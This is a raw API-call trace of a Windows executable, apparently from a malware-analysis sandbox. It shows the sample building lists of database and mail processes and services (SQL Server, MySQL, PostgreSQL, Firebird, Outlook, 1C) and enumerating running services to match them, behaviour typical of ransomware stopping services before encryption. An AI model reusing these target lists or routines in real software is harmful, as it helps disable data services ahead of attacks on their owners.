	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6ac8
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6960
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a69d8
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e270
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6a98
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6888
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a68a0
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a68b8
	[0187.160] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6948
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6b70
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x7a69f0
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a68d0
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6ae0
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6900
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6b10
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6af8
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6930
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6b28
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6990
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e280
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6918
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6c00
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6c30
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6c60
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6b88
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6cf0
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6c18
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6c48
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6c78
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x7a6ba0
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6bd0
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x7a6c90
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6ca8
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6cc0
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6be8
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6d38
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6cd8
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a6d08
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6bb8
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6d20
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6600
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6720
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6798
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a66d8
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a66a8
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a67f8
	[0187.161] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a66f0
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6588
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a67c8
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a65b8
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a65d0
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a66c0
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6708
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6828
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a65e8
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a6840
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x12) returned 0x7666b8
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6768
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6738
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6618
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6750
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6780
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a67b0
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a67e0
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6648
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6810
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6630
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6660
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6858
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6870
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a65a0
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6678
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a6690
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a7808
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a7790
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a7658
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a77d8
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a7838
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a7640
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a76e8
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xe) returned 0x7a75b0
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a7850
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e290
	[0187.162] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a75f8
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e080
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a77f0
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a7820
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a7610
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a7868
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a7670
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a77a8
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a7718
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a7880
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a77c0
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a7688
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a7598
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a7700
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a75c8
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a76a0
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e050
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a75e0
	[0187.163] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7a7628
	[0187.164] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7c5d48, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0187.164] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7d5d50 | out: hHeap=0x750000) returned 1
	[0187.165] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7c5d48 | out: hHeap=0x750000) returned 1
	[0187.167] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x7b5d40, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0187.167] lstrlenW (lpString="C:\\") returned 3
	[0187.167] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0187.167] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b5d40 | out: hHeap=0x750000) returned 1
	[0187.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x794d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0187.375] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7e5d70, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0187.375] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7f5d78 | out: hHeap=0x750000) returned 1
	[0187.375] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7e5d70 | out: hHeap=0x750000) returned 1
	[0187.377] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x7d5d68, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0187.377] lstrlenW (lpString="C:\\") returned 3
	[0187.378] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0187.378] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7d5d68 | out: hHeap=0x750000) returned 1
	[0187.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x7c5d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0187.380] WaitForMultipleObjects (nCount=0x2, lpHandles=0x76b4d0*=0x27c, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 81
	os_tid = 0xf10


Thread:
	id = 83
	os_tid = 0xf1c

	[0187.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a86e0
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7a86e0, Size=0x20) returned 0x78daa8
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78daa8, Size=0x40) returned 0x767ac0
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767ac0, Size=0x80) returned 0x7b4de8
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b4de8, Size=0x100) returned 0x7a7160
	[0187.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a8638
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7a8638, Size=0x20) returned 0x78dc88
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78dc88, Size=0x40) returned 0x7675f8
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7675f8, Size=0x80) returned 0x7b5800
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b5800, Size=0x100) returned 0x7a7268
	[0187.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a86e0
	[0187.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x78e0e0
	[0187.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a8818
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e0e0, Size=0x8) returned 0x78e1e0
	[0187.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7667d8
	[0187.356] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e1e0, Size=0x10) returned 0x7a8638
	[0187.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x18) returned 0x766838
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1a) returned 0x78dcb0
	[0187.357] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7a8638, Size=0x20) returned 0x78d850
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c) returned 0x78db48
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x16) returned 0x766858
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1a) returned 0x78d918
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7a8698
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x78e0e0
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x767ac0
	[0187.357] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e0e0, Size=0x8) returned 0x78e120
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x3c) returned 0x767838
	[0187.357] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e120, Size=0x10) returned 0x7a8638
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x766598
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x18) returned 0x766878
	[0187.357] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7a8638, Size=0x20) returned 0x78da80
	[0187.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x766ba8
	[0187.357] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0187.357] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a7160 | out: hHeap=0x750000) returned 1
	[0187.357] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0187.357] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a7268 | out: hHeap=0x750000) returned 1
	[0187.357] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x78daa8
	[0187.358] EnumServicesStatusExW (in: hSCManager=0x78daa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0187.361] GetLastError () returned 0xea
	[0187.361] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c30) returned 0x7acb30
	[0187.361] EnumServicesStatusExW (in: hSCManager=0x78daa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7acb30, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7acb30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0187.362] CloseServiceHandle (hSCObject=0x78daa8) returned 1
	[0187.362] lstrlenW (lpString="Appinfo") returned 7
	[0187.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0187.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0187.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0187.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0187.363] lstrlenW (lpString="AppXSvc") returned 7
	[0187.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0187.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0187.363] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0187.363] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0187.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0187.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0187.363] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0187.363] lstrlenW (lpString="Audiosrv") returned 8
	[0187.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0187.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0187.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0187.363] lstrlenW (lpString="BFE") returned 3
	[0187.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0187.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0187.363] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0187.363] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0187.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0187.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0187.363] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0187.363] lstrlenW (lpString="CDPSvc") returned 6
	[0187.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0187.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0187.363] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0187.364] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0187.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0187.364] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0187.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0187.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0187.364] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0187.364] lstrlenW (lpString="CryptSvc") returned 8
	[0187.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0187.364] lstrlenW (lpString="DcomLaunch") returned 10
	[0187.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0187.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0187.364] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0187.364] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0187.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0187.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0187.364] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0187.364] lstrlenW (lpString="Dhcp") returned 4
	[0187.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0187.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0187.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0187.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0187.365] lstrlenW (lpString="Dnscache") returned 8
	[0187.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0187.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0187.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0187.365] lstrlenW (lpString="DPS") returned 3
	[0187.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0187.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0187.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0187.365] lstrlenW (lpString="DusmSvc") returned 7
	[0187.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0187.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0187.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0187.365] lstrlenW (lpString="EventLog") returned 8
	[0187.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0187.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0187.365] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0187.365] lstrlenW (lpString="EventSystem") returned 11
	[0187.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0187.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
